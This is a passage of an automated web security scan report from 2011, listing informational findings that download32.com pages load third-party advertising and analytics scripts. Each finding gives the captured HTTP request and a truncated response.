   <meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
   <title>digitalia.be</title>
   <meta name="DC.Language" content="fr" />
   <meta nam
...[SNIP]...
<link rel="search" type="application/opensearchdescription+xml" title="Recherche sur digitalia.be" href="/opensearch.xml" />
   <script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script>
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...
<p><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dooce.com
Path:	/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.fmpub.net/zone/2555
http://static.fmpub.net/zone/936

Request

Response

21.162. http://www.download32.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET / HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:53 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 69385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download32 Software
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.163. http://www.download32.com/acceleration-tools-33178-category.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/acceleration-tools-33178-category.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /acceleration-tools-33178-category.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e63c83b744725b87a87f3a5fc328ab9f; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:06:54 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 30478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Network & Internet /
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.164. http://www.download32.com/atelier-web-security-port-scanner-d22620.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/atelier-web-security-port-scanner-d22620.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /atelier-web-security-port-scanner-d22620.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:30 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Atelier Web Security
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.165. http://www.download32.com/atelier-web-security-port-scanner-i22620.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/atelier-web-security-port-scanner-i22620.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /atelier-web-security-port-scanner-i22620.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:22 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 36854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Atelier Web
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.166. http://www.download32.com/category.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/category.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /category.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:55 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 50734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Categories - Dow
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.167. http://www.download32.com/command-reference-to-tcp-ip-tools-for-handbase-d72982.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/command-reference-to-tcp-ip-tools-for-handbase-d72982.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /command-reference-to-tcp-ip-tools-for-handbase-d72982.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:38 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Command Reference to
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.168. http://www.download32.com/command-reference-to-tcp-ip-tools-for-handbase-i72982.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/command-reference-to-tcp-ip-tools-for-handbase-i72982.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /command-reference-to-tcp-ip-tools-for-handbase-i72982.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:42 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34935

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Command Ref
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.169. http://www.download32.com/contactus.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/contactus.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /contactus.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 26951

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Contact Us Informati
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.170. http://www.download32.com/dns-thing-d23380.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/dns-thing-d23380.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /dns-thing-d23380.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:40 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34330

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DNS Thing 1.0a Free
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.171. http://www.download32.com/dns-thing-i23380.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/dns-thing-i23380.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /dns-thing-i23380.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:37 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35418

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download DNS Thing F
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.172. http://www.download32.com/dns-watcher-d23381.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/dns-watcher-d23381.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /dns-watcher-d23381.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:47 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 33123

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DNS Watcher 1.2 Free
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.173. http://www.download32.com/dns-watcher-i23381.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/dns-watcher-i23381.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /dns-watcher-i23381.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:43 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34221

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download DNS Watcher
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.174. http://www.download32.com/interactive-dns-query-d24595.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/interactive-dns-query-d24595.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /interactive-dns-query-d24595.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:15 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 33579

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Interactive DNS Quer
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.175. http://www.download32.com/interactive-dns-query-i24595.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/interactive-dns-query-i24595.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /interactive-dns-query-i24595.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:16 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34957

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Interactive
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.176. http://www.download32.com/ipjudo-1-1a-d54908.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/ipjudo-1-1a-d54908.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /ipjudo-1-1a-d54908.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:45 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 21710

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IPJudo 1.1a Free Dow
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.177. http://www.download32.com/ipjudo-1-1a-i54908.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/ipjudo-1-1a-i54908.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /ipjudo-1-1a-i54908.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:55:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 28378

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download IPJudo 1.1a
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.178. http://www.download32.com/ipjudo-d24736.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/ipjudo-d24736.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /ipjudo-d24736.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:21 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34497

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IPJudo 1.0a Free Dow
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.179. http://www.download32.com/ipjudo-i24736.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/ipjudo-i24736.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /ipjudo-i24736.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:18 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35655

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download IPJudo Free
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.180. http://www.download32.com/iseu---eu-domain-availability-checker-d24769.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/iseu---eu-domain-availability-checker-d24769.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /iseu---eu-domain-availability-checker-d24769.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:19 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34690

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IsEu - EU domain ava
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.181. http://www.download32.com/iseu---eu-domain-availability-checker-i24769.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/iseu---eu-domain-availability-checker-i24769.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /iseu---eu-domain-availability-checker-i24769.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
